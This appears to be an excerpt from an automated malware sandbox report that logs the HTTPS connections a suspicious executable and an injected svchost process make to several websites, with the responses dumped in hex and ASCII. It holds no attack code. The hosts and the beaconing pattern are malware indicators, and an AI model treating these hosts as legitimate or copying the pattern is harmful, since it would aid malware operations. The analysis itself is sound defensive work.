2023-03-10 06:56:18 UTC	1087	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:18 UTC	1103	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:18 UTC	1119	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	56758	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:18 UTC	1121	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:18 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:18 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:18 UTC	1122	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:18 UTC	1138	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:19 UTC	1154	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:19 UTC	1170	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	52635	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:13 UTC	136	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:13 UTC	136	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SmLVBr%2B73yDgi%2BGcHh6g50MgvH1ouCEsat5Kuku5t2hj0JhbeLDEEAsRZoy9CLGc1Yyjw9s4SR0SAtX%2Fqr2MxN5kU7JX0Ld%2FdNwhrylYD7WEIc0Ey0LETpZpM392"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8165f9337f7-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:13 UTC	137	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:13 UTC	137	IN	Data Raw: 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 Data Ascii: idth,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img
2023-03-10 06:56:13 UTC	138	IN	Data Raw: 69 6f 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 68 6f 30 36 32 76 50 78 75 74 7a 4c 4d 44 30 66 51 56 59 4d 35 5a 49 64 4a 33 48 70 50 55 4a 7a 59 6f 30 70 78 38 65 6f 7a 58 30 2d 31 36 37 38 34 33 31 33 37 33 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 4c 56 58 57 66 78 78 74 6c 7a 2e 69 43 33 2e 32 66 4f 43 7a 63 33 47 4d 6a 4f 57 67 54 51 77 63 4c 66 62 51 44 6e 78 63 5a 4a 77 2d 31 36 37 38 34 33 31 33 37 33 2d Data Ascii: ion="/?__cf_chl_f_tk=ho062vPxutzLMD0fQVYM5ZIdJ3HpPUJzYo0px8eozX0-1678431373-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="LVXWfxxtlz.iC3.2fOCzc3GMjOWgTQwcLfbQDnxcZJw-1678431373-
2023-03-10 06:56:13 UTC	140	IN	Data Raw: 59 41 6c 47 2d 44 51 36 5f 4b 72 32 53 69 36 50 31 77 7a 37 6e 59 37 41 50 44 6d 33 69 36 67 50 46 4b 32 65 5f 38 6c 6b 38 35 77 38 5a 76 76 44 51 77 38 54 30 6a 4b 74 35 63 6d 6e 4c 57 59 41 50 64 30 70 78 6f 62 64 79 63 57 5f 37 74 4b 6d 2d 56 38 35 73 65 62 6a 30 54 76 2d 68 71 46 5a 49 79 33 6e 4d 6f 78 44 63 5a 63 51 4c 78 32 64 2d 6e 68 70 44 6f 4e 56 33 4a 70 63 5f 64 48 6c 7a 4c 4f 73 48 54 30 2d 39 5f 75 4a 46 75 57 79 4f 6c 69 76 73 44 30 41 4d 78 57 4a 37 72 33 51 31 56 41 70 4b 54 46 79 45 44 38 49 77 49 74 4f 65 7a 4d 4d 4c 64 5f 38 36 5a 77 55 68 39 37 38 64 5f 77 78 33 50 49 55 65 66 44 54 34 32 56 6f 4f 63 6a 76 73 6c 44 57 77 73 35 66 30 64 36 2d 63 6f 79 4e 30 73 48 32 5f 54 79 35 39 52 55 57 79 4f 68 78 34 41 67 42 35 52 34 31 65 4f 7a Data Ascii: YAlG-DQ6_Kr2Si6P1wz7nY7APDm3i6gPFK2e_8lk85w8ZvvDQw8T0jKt5cmnLWYAPd0pxobdycW_7tKm-V85sebj0Tv-hqFZIy3nMoxDcZcQLx2d-nhpDoNV3Jpc_dHlzLOsHT0-9_uJFuWyOlivsD0AMxWJ7r3Q1VApKTFyED8IwItOezMMLd_86ZwUh978d_wx3PIUefDT42VoOcjvslDWws5f0d6-coyN0sH2_Ty59RUWyOhx4AgB5R41eOz
2023-03-10 06:56:13 UTC	141	IN	Data Raw: 20 20 63 52 61 79 3a 20 27 37 61 35 39 61 38 31 36 35 66 39 33 33 37 66 37 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 35 38 31 35 39 37 62 33 62 64 38 31 62 36 61 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 68 6f 30 36 32 76 50 78 75 74 7a 4c 4d 44 30 66 51 56 59 4d 35 5a 49 64 4a 33 48 70 50 55 4a 7a 59 6f 30 70 78 38 65 6f 7a 58 30 2d 31 36 37 38 34 33 31 33 37 33 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a Data Ascii: cRay: '7a59a8165f9337f7', cHash: '581597b3bd81b6a', cUPMDTk: "\/?__cf_chl_tk=ho062vPxutzLMD0fQVYM5ZIdJ3HpPUJzYo0px8eozX0-1678431373-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:13 UTC	142	IN	Data Raw: 2b 38 74 37 55 7a 75 69 67 72 75 2f 48 63 75 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 6c 31 65 74 36 7a 53 39 77 6b 67 33 32 6c 7a 55 50 39 65 65 78 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 Data Ascii: +8t7Uzuigru/Hcuw==', i2: 'l1et6zS9wkg32lzUP9eexw==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhA
2023-03-10 06:56:13 UTC	144	IN	Data Raw: 2e 63 4f 67 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e Data Ascii: .cOgUHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="conten
2023-03-10 06:56:13 UTC	145	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	56495	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1172	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	56879	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1173	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:19 UTC	1173	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:19 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:19 UTC	1173	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	56949	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1174	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:19 UTC	1174	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rOEHk17s5%2BLnwMX98UbUlhnxmOcM5BtkcZIsZK%2FOU5F4csFsp2sB4sIqaiYJLYF24Fiu1exS5RZWn5XAxOrtajffUlMosjOUoMjk69gWb0a4aOvIfBeOxr851FfK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8381e659b63-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:19 UTC	1175	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:19 UTC	1175	IN	Data Raw: 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 